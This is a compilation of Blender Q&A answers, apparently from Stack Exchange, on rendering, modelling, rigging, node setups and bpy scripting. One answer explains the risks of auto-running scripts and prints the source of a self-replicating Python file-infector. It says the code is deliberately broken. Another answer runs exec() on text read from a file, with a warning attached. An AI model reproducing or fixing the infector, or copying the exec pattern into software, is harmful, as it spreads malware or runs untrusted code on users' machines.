Lighting for the filament of a lightbulb

Probably best to understand that the “white” in the core you are used to seeing isn’t “white” in most instances, but rather a particular colour.

We have grown to think that there is “white” at the core of many high emission objects due to learned aesthetics that largely stem from photographs. Candles, which are distinctly orangey, fires, the sun, etc. are all captured on film as blown out, which after adaptation, is a neutral white.

In raytracing, if you use a decent camera rendering transform, you can lean on it to generate exactly what you are hoping for. A wonderful example here is from Tynaud’s neon demonstration.

As you can see, the colour emitted is a rather saturated blue, yet the core naturally overexposes to a blown out white.

Lean on a good camera rendering transform and have your emission high enough.


Particles not rendering on sheepit render farm

The solution here seems to be to leave the baked data in the file instead of baking to disk this way avoiding problems with reading the files on the render farm. Baked data is saved with the file if Disk Cache is disabled under Cache in the Particle tab of the Properties Editor:


In Preferences > Save and Load > Auto Save,  do you have the Auto Save Temporary Files option checked ?

Next check in Preferences > File Paths > Data > Temporary Files, left click the folder icon to see if you have any .blender files saved at this location.

This is what i have in my Temp folder:

Note that holding down the Alt key and left clicking that little folder icon will take you directly to the location on your hard drive from where you can drag one of the saved  .bland files onto your desktop and then open it again in Blender.


Issue with hair in both viewport and render

For some reason I'll leave to experts to explain, if you Apply the Array modifier on each circle array, the particle system behaves:

However, if you want each circle array member to behave independently,  you'll have to depart from array and instead Duplicate instead of array.  And if you Dip-linked, the bristles might not behave independently if an effector causes some to deform.
There may be other more expert solutions if you search on "Particle System Array" in this forum.


Texture blurry when viewed at shallow angle

Those are caused by Mipmaps, it is an optimization technique to improve performance and rendering speed of the viewport. It works by automatically creating several copies of used image textures at different resolutions or sizes in GPU memory to speed up rendering.

The blurring is an unintentional side effect of the lower resolution used at larger distances or grazing angles. It is harmless and affects the viewport only, it will not affect your final render image.

If you don't like it you can deactivate them in User Preferences > System > OpenGL > Mipmaps or control GPU generation.


How do I find the setting affected by a f-curve using python?

The answer was pretty simple. Just add this at the end of line:

.data_path

bpy.data.actions['Material.001Action'].fcurves[0].data_path


how to make a line break in a text object from an external file

When the text file is read, no interpretation is made of what is written, is just text.
For that reason yo sould write in the text file as: own.text = 'write it in \na new line' and then in your script use exec.
from bge import logic

def text():
    path = logic.expandPath('//')
    cont= logic.getCurrentController()
    scene= logic.getCurrentScene()
    own= cont.owner

    try:
        file = open(path+'text_file.txt', 'r')
        info = file.readlines()
        exec(info[0])

    except Exception as e:
        print('error', e)

Disclaimer
CAUTION
This is as dangerous as someone writing "wipeout this pc" and boom... your info is gone!.


Accuracy of bone influence (rigging/weighting)

What you're describing is convoluted and without purpose.

With that in mind the closest thing we have is 'Envelope' bones.

Where in its bubble defines influence.

The only bones that have weight are deform bones.


How can I create 3D surface of sine waves?

I don't think there's currently a way to add surfaces, but if you are okay with using meshes, you can use the Extra objects addon (it's not enabled by default).

To enable the addon, open the User Preferences, by pressing Ctrl + Alt + U; then, switch to the Add-ons, search for "extra" and enable the one that reads "Add Mesh: Extra Objects", by checking the box.

Then, you can close the User Preferences window and, in the 3D View, press Shift + A and then select Mesh>Math Function>Z Math Function.

After that, in the Toolbar (T), you will find a box where to enter your function.

If you prefer, you can bring these options up by pressing F6.

After you've entered your function, you can add a Subdivision Surface modifier to make it smoother.


How to copy compositing nodes from on file to another?

File -> Append -> select your file -> NodeTree -> choose the node group you want.

The same method works for all kinds of data (shaders, meshes, etc.).

EDIT: I just reread your question and realized that for whatever reason you don't want to group the nodes. I think my solution only works for a group of nodes. I don't know if there's a way to do it without grouping them.


How do I change the color of particles with a color ramp?

If your particle system is instancing an object then you can customise the particles to sample random colours by using this node setup on your instancing object:

Here, all I've done is use the random output of an object info node with a colour ramp :)


It's standard practice to do this with animations, as described in this video.  If your scene has no animation, you can use the same technique for still images by rendering one vertical strip at a time, by animating the camera settings.

For example, to render the image in 20 vertical strips, set the horizontal resolution of your image to 1/20 of the desired image width, and set the Frame Range to 1...20.  Then with the camera selected, add keyframes to the X Shift property:

Set X Shift to -0.95 in frame 1 and 0.95 in frame 20.  Go to the graph editor and make sure the property is using linear interpolation.  The curve should be a straight line like this:

After rendering your scene as an animation (using the method described in the video), you will have twenty images that you can stitch together using Photoshop or Gimp.


You can't, you need to have an explicit operation to initialize the list. (a button for example), or when the script executes.

At least you can't do while drawing.


How do I fix this strange effect that happens when I start animating items that are set to cloth in physics?

The problem is that your Solidify modifier is above the Cloth modifier:

This means the cloth simulation will use that double layer of geometry, which can cause some instability and self-intersections.

In your case, the inside layer is poking through the outside layer and causing shading issues due to the fact that the normals of the new outside layer are facing the wrong way:

The easiest way to solve this is to move the Solidify modifier below the Cloth one, so that the cloth simulation happens before the second layer of geometry is created:

However, if for some reason you need to take the solidified geometry into account for the cloth simulation, keep the Cloth modifier at the bottom and make sure Self Collision is enabled and uses a high enough quality to avoid instability:


Why is this environment texture image showing only a solid color in the 3D view, using Cycles?

That is because you are in orthographic view mode, toggle back to perspective mode with Numpad 5.  Unless your camera is also set to orthographic you should always see the environment in camera view and your render.


Noob Question. Front side of model is missing?

Face normals are in wrong direction and unity renders only one side of the face with this shader. Select everything in edit mode then click on mesh>>normals>>recalculate outside or flip normals.
If you hit "n" and check in backface culling you will be able to check your model, and the inside of the faces are also darker.


Overlapping faces in mirror modifier causing z-fighting

You can fix this by going into edit mode of your object, pressing A (select all), or only select the faces in question manually. Press W to open this menu
select remove doubles

you can change the distance of the vertices being merged together by using this input
field after pressing remove doubles


How do I rig a game asset for a state change? (Armoured/Normal/Damaged)

I'd say (without knowing fizzle about Unity) that your best shot would be shape keys, but...
If I had to do it with a bone in blender animating, I'd try driving object visibility or material transparency by a bone's position/rotation with a greater-than statement.
Working from my knowledge of the BGE which may or may not be similar to Unity (I have a DeLorion), I'd say you should have a script switch out the meshes based on the bone.
Cute tank BTW.


Blender Image compression from command line


To move back the centre origin point to were the object is

Select the object in question.

Tab to enter edit mode.

A to select all (You may have to hit it twice)

Shift + S >> U To set the 3D Cursor to the average locational center of your selection.

Tab To exit edit mode.

Ctrl + Shift + Alt + C >> T To set the Origin to the new location of the 3D cursor.


About the omission cube of the Grease pencil in Blender v2.8

The 3 axes arrows has become the orange cube, and the pen icon has become the green squiggly line.
The icons have been changed since the tutorial was recorded in the early stages of the Version 2.80 and the icons were not final at the time. But you should find the same information in these submenus.
Although I think there has been changes to how the grease pencil object data works so you might see things arranged differently.


Why can't I insert a keyframe into the prop from the operator panel?

The layout.prop that you're using is not in a Panel, but in the Operator dialog, which serves as an UI to an operation itself, and skips UI events that call for other operators (like the bound key to call 'anim.keyframe_insert', or to invoke another dialog for 'buttons.context_menu' that you mention)..
So if the function of the operator is to also insert a keyframe, you need to do that in the execution call.
import bpy

class MYPANEL_PT_Panel(bpy.types.Panel):

    bl_label = "Test"
    bl_idname = "MYPANEL_PT_Panel"
    bl_space_type = "VIEW_3D"
    bl_region_type = "UI"
    bl_category = "Test"

    def draw(self, context):

        layout = self.layout
        layout.operator("mypanelop.test", text = "Test")

class MYPANELOP_OT_Test(bpy.types.Operator):
    """ """
    bl_idname = "mypanelop.test"
    bl_label = "Test"
    bl_options = {'INTERNAL'}

    def execute(self,context):
        # INSERTING KEYFRAME
        context.object.keyframe_insert(data_path='location')
        return{'FINISHED'}

    def invoke(self, context, event):
        return context.window_manager.invoke_props_dialog(self,width=300)

    def draw(self, context):
        layout = self.layout
        ob = context.object
        if ob:
            layout.prop(ob,'location')

classes = (MYPANEL_PT_Panel, MYPANELOP_OT_Test)

def register():

    for cls in classes:
        bpy.utils.register_class(cls)

def unregister():

    for cls in classes:
        bpy.utils.unregister_class(cls)

if __name__ == "__main__":
    register()


Unable to render an Alpha Transparant texture

You're using buffer shadows, which according to the documentation cannot render transparent shadows.

  Raytraced shadows are generally more accurate, with extra capabilities such as transparent shadows, although they are quite slower to render.


Creating a custom permanent property in Blender 2.70 python script to access in GUI Panel

Since your example panel is in the object context I assume you want to use the data on objects.

If you want to store and retrieve properties on a per object basis you can append a property to objects like this:

bpy.types.Object.obj_property = bpy.props.FloatProperty(name = "ObjectProperty")

and access the value in the UI like this:

row.prop(context.object, "obj_property")

Or if you need your property for all objects in a scene you could store it inside the scene like this:

bpy.types.Scene.scn_property = bpy.props.FloatProperty(name = "SceneProperty")

and access the value in the UI like this:

row.prop(context.scene, "scn_property")

To access the property values in your script you can also use the bpy.data module.

Note that operators and panels are conceptually different. Panels are not supposed to store properties or change them on their own. They are just for user access to internal data and properties. Operators on the other hand have builtin access to properties and are better suited to manipulate data. Note also that properties are automatically stored in the .blend file while saving. If you want to share data between scenes you could use other ID blocks like Text or use a simple operator to copy data between scenes e.g. like this:

import bpy

class UIPanel(bpy.types.Panel):
  bl_label = "My Panel"
  bl_space_type = "PROPERTIES"
  bl_region_type = "WINDOW"
  bl_context = "object"
  bpy.types.Scene.scn_property = bpy.props.FloatProperty(name = "SceneProperty")

  def draw(self, context):
    self.layout.operator("prop.propcopy", text='Update Scenes')
    self.layout.prop(context.scene,"scn_property")

class OBJECT_OT_PropCopyButton(bpy.types.Operator):
  bl_idname = "prop.propcopy"
  bl_label = "Propcopy"

  def execute(self, context):
    sc0 = context.scene
    for sc in bpy.data.scenes:
        sc.scn_property = sc0.scn_property
    return{'FINISHED'}

bpy.utils.register_module(__name__)


bpy.ops.wm.context_set_enum(...)
Setting a value from a context path for a shortcut use one of the bpy.ops.wm.context_set... operators
>>> bpy.ops.wm.context_set_
                           boolean(
                           enum(
                           float(
                           id(
                           int(
                           string(
                           value(

This one is an enum property (string would work too)
>>> bpy.ops.wm.context_set_enum(
context_set_enum()
bpy.ops.wm.context_set_enum(data_path="", value="")
Set a context value

For the equivalent to
bpy.context.space_data.context = 'MODIFIERS'

using an operator will be,
bpy.ops.wm.context_set_enum(
        datapath="space_data.context",
        value='MODIFIERS',
        )

cannot test this in python console because it is not in the correct properties space context, instead add it manually to test, Edit > Preferences > Keymaps > Properties Edit

...Ok numpad 5 now switches to modifiers tab.
To set up shortcut using python see
Create keyboard shortcut for an operator using python?*


How to preload a python module into blender console on startup

At startup, Blender reads the contents of the scripts/startup/ directory for python modules and imports them.  You can also choose to use scripts as add-ons (turn on/off via Add-Ons manager):

http://www.blender.org/api/blender_python_api_2_73_release/info_overview.html


Ghost Keyframes - Missing Keyframes that are still working?

that happens , with me also  ,actually thats not a problem with blender or the ad-don , its with you , you probably are not selection the correct object in your animation  you are selecting an object that doesn't have a key frame there , try selection all things and look if there is something having a key frame there and try deleting it , or you can also make a fresh keyfram there


Object not outlined in Viewport despite Outline Selected enabled

I went around and around with this for a bit today and the solution for me was to click the button to the left of the 'Overlays' pulldown.  The tooltip reads "Display overlays like gizmos and outlines".  This did the trick.

Seems like a silly place to bury the toggle for that functionality, but what do I know.


Subdivide a square into 9 smaller squares?

Never mind, I found out that you can click subdivide and then increase the number of cuts on the left sidebar.


How to undo or remove a keep offset on a bone?

Select the child bone, Use shortcut Alt + P then pick the option that suits better your situation.


How to make a model shaded with only two colors?

Freestyle only renders lines. For the shading, you might try Toon shading:


Animation in Unity look different than in Blender - rigify addon

You probably have stretched the wing/neck and that's where the exported animation looks different.
Try to avoid squashing or stretching the bones and the problems should be fixed.
If you have an hour or so I have a video that explains why this happens. I recommend watching the whole thing but the squash/stretch problem is covered around 39:32
https://www.youtube.com/watch?v=1Xm1h700uhk


How to have a boundary box around a whole group instance?

I wrote a small addon for another question that creates a bounding box around all selected objects. It seems it needed a little update to work in current versions of blender which is now available.

This does not create a dynamic bounding box, it will only match the objects you have selected at the time you create it, this can just be deleted and re-created whenever you needs updating.

After selecting one object you can use ⇧ ShiftG->Group to select all objects of the same group before creating the bounding box.


Why is Blender 2.8.1 constantly crashing when I select CUDA and Blender is not even in rendered view?

If you open the default blender file and it crashes on Cycles, you know it's probably not a corrupt blend file unless you saved user defaults with some setup that it doesn't like. Blender 2.82a is out with bug fixes and new features so I highly recommend getting that instead of using 2.81. Using this new version should also reset you default blend file in case you saved user defaults with corrupt settings.

Even a simple shutdown and reboot of your machine can help. You can also try unplugging unnecessary peripherals and re-seating the connections of any peripherals that are questionable (you mentioned you're using an external GPU).

If that doesn't work then getting the most recent everything (software driver updates, firmware updates, system software updates, and 3d software updates as mentioned before) could help. Best wishes!


My best guess would be the clue that the console window provides upon opening the file:

"...intersecting group is not in or out".

Because you are trying to union a mesh that has already been 'unioned' (cube.002 is the union object on boolean modifiers 1 and 3) there are no intersections that the boolean can detect, the faces of the object you are trying to union (cube.002) are directly on top of faces that are already there (the cube.002 previously 'unioned').

If there are no intersecting faces then there is nothing to join. The faces of the mesh to be 'unioned' are neither inside the current mesh not outside of it, they are directly on top of it.

I openly admit this is just my theory based on the error message so I could be wrong. I would presume, based on the objects included in the blend file that this is a simple mistake of using 'cube.002' twice as 'cube.001' isn't used in any of the booleans.


Seems like the boundaries of the texture are determined by the render dimensions.  A work around is playing with the Texture Scale for the texture along with the Scale on a Transform node.


The normals are messed up, flip them: Mesh > Normals > Recalculate Outside.


Noodles gets disappeared after joining the two different nodes

I'm 99% that is a bug. Here is how to report it:

In the main menu on the top left click on help, then choose report a bug. It will send you to a page belonging to the developer section of blender.org. You do need a Blender account to file a bug report, but like all the other Blenderstuff: it's free.
Follow the instructions, they are very straight forward.
And you're done. Congratulations, you helped the Blender community.


I think the idea is to start with the lower resolution sphere (at the appropriate scale to print individual parts).

From this base sphere, mark the seams you want (seams will be useful to cut it later).

For instance here all edges are marked except for the poles:

Now use the subdivision surface modifier and apply it. The modifier will subdivide but let the seams in place:

Now select an edge marked with the seams, then in the select menu, go to 'select similar' and choose 'seam'.

Now split the parts using the edge menu, then 'edge split'.

Select all. Extrude E but stay in place.
Scale down (still having the extrusion selected) to 0.9, for instance.

The selection is still there. Create a vertex group and call it 'inner'.

Invert the selection, and create another group called 'outer'.

Use and apply the displacement you want, using the 'outer' vertex group on the displacement modifier.

In edit mode, select all again. Then P and 'by loose parts'.

You may be ready for a 3D puzzle...


Border rendering suddenly not supported by sequencer & odd problem with rendering

I ran into the same issue, but then figured it out. By unchecking Render Region under Dimensions, it was solved.


What are the minimum parallax requirements for successful motion tracking?

The tracking points are better to be chosen from different dimensions as they are in real world, in order to cover more obvious parallax difference between frames.

For example, it's certainly not recommended to pick them all from a single plane/ground or a single wall. However, if some are from the ground and others are from a wall, it would be the nicer choice for sure.

I'm not going to propose any AD here, but I learned this thing from the official training DVD - Track, Match, Blend!


Simple way to create a curved tunnel between two planes

Create a mesh circle, in Edit Mode rotate it $90º$ in the X axis.

Erase three quarters of it and move the remaining vertex along the X axis to the side.

Add a Screw modifier and adjust the axis and Steps parameters accordingly (multiples of 4 are advised). Apply the modifier or convert (a copy of) the object to mesh afterwards.

Add a new plane mesh, scale it as desired then erase all faces leaving only the edges. Subdivide them to match the previously chosen value for Steps in the screw modifier.

Follow the formula $\frac{Steps}{4}-1$ for the subdivision value. In my case I set $64$ Steps so $\frac {64}{4} - 1 = 15$ .

Join the plane to the circle at the correct height with Ctrl + J, then bridge the gaping edge loops with the Bridge Edge loops operator.

Now add a Mirror modifier along the $Z$ axis to complete the symmetry.

If you need an even mesh density you may optionally add a few edge loops to the bridged faces.


Hardware requirments to run blender the best

You can see benchmark results that people made

http://download.blender.org/institute/benchmark/latest_snapshot.html

It depends on your budget


Is there any method to make the size random to the instanced objects created via Animation nodes?

Use combination of Random Number and Vector from Value node.

Random scaled objects from a collection:


How to get rid of these 'pseudo-planes'?

I can't see a lot from your image but this might be just a big n-gon, so maybe you can try selecting these two vertices marked in red and pressing J to create a line. (it will probably solve it by completing the box shape)


You can:

In Edit mode, select the part you want to paint:

Switch to Texture Paint mode, enable the Paint Mask option:

Paint:

It should work:

If it paints on unexpected parts it may be because the margin between the UV islands is not large enough, in that case go into the UV Editor then UV > Pack Islands and in the Operator box on the bottom left increase the Margin:


Strange lighting line when rendering in Cycles

Since the tower is casting a shadow on the darker part of the background I assume that the darker part of the background is your ground plane and the brighter part of your background is your sky from world settings.


You probably have outdated drivers, please try updating your drivers, or you could try going into user preferences by changing 3d view-port window to user preferences


You can actually input values greater than one to color inputs of any shader. What that would mean is that the shader would reflect or transmit more light than it receives, which is obviously impossible in reality and in normal circumstances should not be used for realistic materials, however it is possible. You can also use Light Paths node to separately control how different kinds of calculated light rays are being rendered. So, it turns out you can chose to display a material as solid only to the camera while to the rest of the scene it can be transparent and have greater than 1 values for the light it transmits producing your desired effect:


How to disable Symmetrize in Sculpt Mode?

Ensure the Mirror axes are all deselected:

In 2.8 these settings are in the Brush dropdown:


Cycles: Glass not rendering as transparent in CPU mode

This may or may not help your problem but you shouldn't use glass and transparent shader mix, instead, for realistic results, use Principled BSDF with transmission of 1, if you're using eevee, you will need to enable screen space reflections and refraction in render settings, check refraction checkbox in material settings and set refraction depth to something other than 0.


As @robert-gützkow mentioned, the 3DS addon is still being worked on. It appears to work fine with Blender all the way up to version 2.92. It just hasn't been merged into the main build due to some technicalities that haven't been resolved.
The easiest place to get the current version of the addon is from the Github mirror.
Download all of the scripts (Code->Download .zip) and then pick a method to install the io_scene_3ds addon. Personally, I zipped up the io_scene_3ds directory and used the 'Install...' option to install io_scene_3ds.zip. You could alternatively dump the whole  blender-addons-contrib repository into your blender user scripts directory as discussed here: Installing an addon
Once the addon is installed the import/export menus will have a .3ds option.


Why would an object be deformed by subsurf and differ from the 3D view when rendered?

If you have a closer look at the modifier tab in the Properties Editor (you can find explanations of the terms I use in the documetnation) you will see that modifiers have these camera and eye icons. They define if the modifier is visible in the viewport(that includes rendered preview mode) and in the final render. This makes it possible to view less complicated scene in the viewport and therefore be able to interact with it without lag and then have a lot more detail in the rendered result that might not be interactive and smooth if viewed in the viewport while working. You have one modifier that is only visible in rendered result. If you do not want to have it, you should remove it completely by pressing the x icon in the right-most end of the icon row.


You should really plug your normal map into both the Diffuse and Glossy node, however, that's not why you are seeing no effect.

The normal map you are using is basically flat. You can see this by looking at it in the UV Image Editor. It's from a glossy surface with virtually no variations in surface depth. You will simply not see much, if any, effect from that normal map.

To contrast, look at the normal map you are using (basically all one colour) and then look at this (randomly selected) one I found on Google from a brick surface that has a lot of variation: http://jsoverson.github.io/texture.js/demo/images/brickwork-normal.jpg


Keep rig feet flat on the ground (IK Rig)

One simple solution is to select the foot bones and uncheck the "Inherit Rotation" option.

Another interesting foot behaviour can be achieved parenting the Foot bone to the LegIK bone instead of Shin (and leaving the "Inherit Rotation" Checked).

Anyway the foot rigging is one of the most complex situation in human rigging; so, to improve your leg, you can type "How to rig a leg" on Google and find tutorials like this https://www.youtube.com/watch?v=0U3NjTvwdWI.


Why isn't the frame animation not changing its animation?

Not sure if it answers "same animation over and over again", but your end frame is set to "5" in the image, so it would stop there.


What are the security risks of leaving "Trusted Source" checked?

Since os and sys modules are shipped with blender, the script could manipulate your files on disk, write files or overwrite them.

It could save some dll libraries or whole programs on your system. It could be malware, sniffing programs, viruses etc.

An example virus by Deque looks like this:

#MAGIC_STRING_skd83749872
import os
import __main__
import random

def infect(filename):
   os.rename(filename, filename + "~")
   destination = open(filename, "w")
   source = open(filename + "~", "r")
   this = open(__main__.__file__, "r")
   for line in this:
      destination.write(line)
      if line.startswith("#MAGIC_STRING_9348788nkmsd"):
         break;
   for line in source:
      destination.write(line)
   source.close()
   destination.close()
   this.close()
def is_infected(filename):
   f = open(filename, "x")
   return f.readline().startswith("#MAGIC_STRING_skd83749872")
def find_and_infect_files():
   path = "."
   dirs = os.listdir(path)
   for filename in dirs:
      if filename.endswith(".py") and not is_infected(filename):
         infect(filename)
find_and_infect_files()
print "----------this is silly python virus----------"

This is a "harmless" code able of replicating itself. There is a bug in the code to prevent noobs from running it.


I'm lazy, so I'd let Blender do most of the job.
Make the rectangular part and the round part, and let Blender make the transition for you.

A nice final render (to boost my ego)

Project blend file for your inspiration:

01) Square part
- Start with a basic cube, add loopcuts, extrude it and stuff...
- Use proportional editing (I used Sharp profile)
- Use subsurf modifier

Use proportional editing for those tapered edges

02) Round part
- I used a basic cylinder and extruded it.
- Just make sure the number of vertices (and edges) is the same as in the open loop of the square part.
It's 24 vertices (and edges) in this case.

03) Bridge Edge loops
- Select and bridge the two edge loops (Edge > Bridge Edge Loops)
- Both loops need to have the same number of vertices
- Both meshes need to be in one object (you can join them into one with Ctrl+J)


Error: modifier cannot be applied on multi-user data

If you have a linked object from another scene, you won't be able to apply any modifiers to it. You will have to unlink it by clicking the unlink button in the object properties panel and possibly also in the data properties panel.

If you have two objects, which reference to the same data, you will have to make them a single user.
This is done by either clicking the users icon in the data context. This will make the data single user. Both objects will now be individual copies.

You can also press U in the 3D viewport, then select Object & Data.

Method of linking the objects back together

With the unedited object selected, set the mesh datablock in the Object Data section of the Properties Panel to the edit mesh.
Select the unedited objects, then select the edited object. Press Ctrl + L and select Object Data to link the objects to the same datablock.

Apply Modifier to Multi User Python Script

I have added a script to do exactly what the question describes: Apply All Modifiers to Multi-User Datablock.

Just paste this in the text editor, when you want to apply all modifiers to a mesh, hit the run script button of the text editor.

You can resize the text editor until only the RUN SCRIPT button is visible to save space. If you want to add this functionality to Blender, check out how to add a python addon.

import bpy

def applyModifierToMultiUser(scene):
    active = scene.objects.active
    if (active == None):
        print("Select an object")
        return
    if (active.type != "MESH"):
        print("Select an mesh object")
        return
    mesh = active.to_mesh(scene, True, 'PREVIEW')
    linked = []
    selected = []
    for obj in bpy.data.objects:
        if obj.data == active.data:
                linked.append(obj)
    for obj in bpy.context.selected_editable_objects:
        selected.append(obj)
        obj.select = False

    for obj in linked:
        obj.select = True
        obj.modifiers.clear()
    active.data = mesh
    bpy.ops.object.make_links_data(type='OBDATA')

    for obj in linked:
        obj.select = False
    for obj in selected:
        obj.select = True
scn = bpy.context.scene
applyModifierToMultiUser(scn)


"Timebase not supported by MPEG 4 Standard" Error when rendering AVI/MPEG-4 video

Avi (divx) oh shoot. What a problem.
2 things: Fix the MUX rate (over the RIGHT side parameters over "Packet size") Should read 32000.

Second: Do you need to compress to divx? That´s a format no one is using anymore because of security reasons:

Use Mp4 with an .h264 wrapper. Quicktime.

Thank you if you vote me up as answer.

BFCT_Schiller


How to select object Appended from another .blend file?

You should be able to see the model in the outliner and highlight it (thus selecting it) there. You might have to click on some plus signs to open it out and find the model you're looking for.


Check if the whole plane is being on a orthographic camera render (or get a proportion of the rendered plane)

camera_fit_coords

The method camera_fit_coords does most of what you need, it returns a location and zoom factor for an ortho camera such that it fits all given coordinates.  It does not however rotate the camera, so that will have to be calculated.

Test script, make a plane active, run script and the camera will move to fit the entirety of the plane into the scene camera.

Calculate the centre of geometry of plane using bound box ( local plane coords)
Grab the local normal of the first face of plane, I've used bmesh here, could use mesh API instead.  Have to use a face normal, a vert normal on a 1 face square plane will be at 45 degrees to x, y axes.

Find the longest boundary edge to align to the x axis of the camera.  At this step could compare the render dimensions of camera and choose to align x or y, if y swap x and y x_axis, y_axis = y_axis, x_axis
The rotation part of the new global camera matrix is created from the three orthogonal unit vectors, the plane global normal being the -z axis, the x axis aligning with global vector created from longest boundary edge. The other being z_axis.cross(x_axis) Rotation difference could have also been used here.
Call the camera_fit_coords method with a flat list of all the global coordinates of the planes bounding box, use the return values for location and orthogonal zoom.

import bpy
from mathutils import Vector, Matrix
import bmesh

context = bpy.context
scene = context.scene

cam_ob = scene.camera
plane = context.object
pmw = plane.matrix_world
plane_co = sum((Vector(b) for b in plane.bound_box), Vector()) / 8
me = plane.data
bm = bmesh.new()
bm.from_mesh(me)
bm.normal_update()
bm.faces.ensure_lookup_table()
# first face, could sum them I suppose
bm.faces[0].normal_update()
plane_no = bm.faces[0].normal
# longest edge

axis = sorted(
    (e for e in bm.edges if e.is_boundary), key=lambda e: e.calc_length(), reverse=True
)[0]

# global coords
z_axis = pmw @ (plane_no) - pmw @ Vector()

x_axis = pmw @ axis.verts[1].co - pmw @ axis.verts[0].co

y_axis = z_axis.cross(x_axis)
'''
#  would need to also check scale, hmm bmesh.from_object.. doh.
render = scene.render
if render.resolution_y < render.resolution_x:
    x_axis, y_axis = y_axis, x_axis
'''
R = Matrix([v.normalized() for v in (x_axis, y_axis, z_axis)]).transposed()
cam_ob.matrix_world = R.to_4x4()
cam_ob.matrix_world.translation = pmw @ plane_co

scene.update()
coords = [t for b in plane.bound_box for t in pmw @ Vector(b)]

v, scale = cam_ob.camera_fit_coords(context.depsgraph, coords)

cam_ob.data.ortho_scale = scale
cam_ob.matrix_world.translation = v
scene.update()

There are other questions on here regarding aligning objects with a face normal, or another vector.


Micro Displacement how to make it to look better, or is there a better solution (5 questions)

Lets go from big issues to small ones.

1.The rocky, jagged surface you're experiencing is a the fact that your displacement is too strong. Add a Math node, set it to multiply and put it between the displacement texture and the displacement output in the node editor. You can then adjust the second value to decrease the height, to make the displacement more subtle and thus convincing.

2.The original plane geometry doesn't go away, it just gets subdivided more when you hit render. What you're encountering is the preview mode - in a render preview, the mesh is subdivided less to improve performance. That is the "Dicing scale" option in the subdivision surface modifier. The smaller it is the more detailed the mesh will be - both for rendering and preview. Decrease the dicing scale if the issue persists during rendering.

3.The thing with textures is that they always add surface detail. By that I mean that certain surface imperfections are just in the Albedo, but not in the displacement. Those will dissappear if you use a different texture.  If you go too detailed with your displacement texture you'll eventually encounter the limits of whatever image format you're using. The basic displacement can stay the same, and you can slap a different texture on top without issues. Keep in mind tho that the displacement and Albedo textures tend to go hand in hand tho. Out of curiosity, why did you blur the displacement texture?

4.This feature is coming to blender, but not there yet. You can refresh the mesh by tabbing into edit mode and out again when you've made changes.

5.You can definitly sculpt such detailed wall ornaments, although sculpting is quite different. It will certainly take more time to sculpt it, a micropolygondisplacement will definitly be faster to implement. Depending on your final sculpting implementation it might be more ressource intensive as well.


How can an equidistance, spherical panorama image be generated from Blender Cycles?

This is natively supported in Cycles.

Set your output resolution at a 2x1 ratio (e.g. 2048x1024).
Select the camera.
In the properties window, camera tab, select "Panoramic."
For "Type" select Equirectangular.

Here's what it looks like for me:


Assuming you're using post-2.8 versions, click the Show Gizmo button at the top of the screen, select the Move, Rotate and/or Scale, and set it to Local instead of Normal


Displacement settings affecting the mesh luminance

You are connecting a displacement map with the normal input of a shader. That's not a good idea, since they are designed to do two very different things. Remove that connection, or use a regular Vector -> Bump node.


I have an edge that does not bevel as expected, what might be wrong?

Beveling ngons (faces with more than 4 vertices) is not a good idea : results are not really predictable.

Here is a view of the inner geometry with triangles (on the right) :

The upper part of your mesh is good, but the ngon part does not allow to manipulate it well (for beveling, for instance).

So for a good bevel, you should redo this part with quads only (faces composed of 4 vertices), the same way you modeled the upper part.

Also take care of the bottom part (on the left) which is composed of 5 vertices.

To 'repair' the mesh

Go to edit mode
First of all, select all and remove double vertices (some are doubled)
Set face selection mode by Ctrl + Tab then face
Select the two faces which are ngons then delete this faces (X then 'only faces')

Set vertices selection mode by Ctrl + tab then 'vertex'
Select the vertices like below in order to count them (here 18)

Give 18 cut on the bottom part (Ctrl+R then Page Up 17 times)

Select the top and bottom vertices on one side (without the extremities)
Then Ctrl+E and 'bridge edge loops'

Do the same for the other side

Now we have this below, so simply complete the faces for the extremities.

Beveling :


Rendering same scene multiple times? (changed by frame change handler)

So after a bit of searching with different keywords I found two very useful resources:

A post in this forum with very similar request (I'm surprised I didn't find it in the first search).

Also, a nice tutorial with some basic explanation that helped me.


Using bevel profiles to create picture frames

The easiest way is to use Bevel Weights.

Set the limit method to Weight for the Bevel modifier
Select the edges you want to bevel
Adjust their Mean Bevel Weight to 1


Blender keeps crashing when I open a file

Hell yeah. Removed Blender and installed it into a new folder. Works fine. Phewwwww.


Is it possible to animate 2 separate objects with 1 action animation?

Okay so after much trial and error, it seems that the only possible way to do this is with an armature. Just rig the armature to all the objects you want to animate and create one action animation in the armature. I have 4 bones in the armature, none of which are actually connected with each other (both the bones and the objects) and I just animate the bones. ! animation to export to Unity with many different moving parts.


The following workflow is recomended:

Method 1:

Create unit mesh;
Array modifers;
Bevel modifier (type: Vertex Group);
Apply modifiers, inset ngons, then poke;
Proportional edit (type: Random)
refinement.

For Step 1:

For Step 5:

Example file for Method 1

Tip: Things can be much faster by using Select Similar operator (ShiftG) while processing.

Method 2:

Create unit mesh;
Array modifiers;
Translate the four corners and one center vert with Proportional Editing Falloff.
Refinement.

For Step 3:

Example file for Method 2

Note: Comparing with Method 1, the topology is cleaner with less wrinkles, which may be less realstic, but could probably be expected.


Displacement Maps look pixelated in EEVEE

This is a known limitation as of Blender 2.80. Displacement maps aren’t truly supported. The displacement shaders will only affect the normals, not the actual vertex positions. Aka, it’s a bump map. And all bump maps in Eevee are currently limited to 2x2 pixels blocks, see https://docs.blender.org/manual/en/dev/render/eevee/limitations.html#materials


How would I make the back of this chair?

You can begin with a 60 vertex cylinder, make an inset:

Extrude a quarter of the border faces:

Move up some vertices to make the bumps:

Push a bit back the whole top:

Create some edge loops to round the shape and to prepare the seams:

Select all and make a Mesh > Symmetrize:

Some additional edge loops:


This can be done by adding the optional text argument to column.prop(material, 'EMaterial').

column.prop(material, 'EMaterial', text=material.name)


It is because on the end, by default, hair is tinnier.

Look at hair settings:

It is 1.0 thickness at root, and 0.1 at end of the hair. Tune this settings.

Also, look at shape setting, it setups how thickness distribute along hair length:


Go to overlays tab

There you will find the face orientation option.

Enable it
If the object turn blue its ok.
But if it is red then go to EDIT MODE, Select allA, and then press SHIFT +  N to recalculate normals
See if that makes a difference.


Your topology is not good so the bevel won't work properly, what you can do is:

First apply the scale, otherwise the bevel will be deformed on an axis:

Go in Edit mode, you have a lot of triangles, a quick way to fix it is to select all and X > Limited Dissolve (the default settings will work fine):

Delete the top faces with X > Faces:

You need to delete some rebel vertices along the edge with X > Dissolve Vertices:

Enable the LoopTools addon, select the top edges and right click > LoopTools > Bridge to create new faces:

Select the top edges and CtrlB to bevel. You can tweak all the settings in the Operator box (bottom left of your 3D view):


